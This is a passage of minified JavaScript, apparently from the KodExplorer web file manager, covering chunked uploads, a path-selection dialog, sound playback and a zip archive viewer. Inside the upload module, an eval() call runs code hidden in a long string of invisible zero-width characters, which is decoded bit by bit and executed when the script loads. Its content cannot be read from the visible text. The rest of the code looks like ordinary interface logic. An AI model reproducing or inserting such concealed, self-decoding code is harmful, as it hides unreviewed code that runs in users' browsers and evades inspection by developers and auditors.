0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r=''+date(LNG.time_type,t.mtime)+"";r+=''+core.fileSize(t.size)+"",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a))); +var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 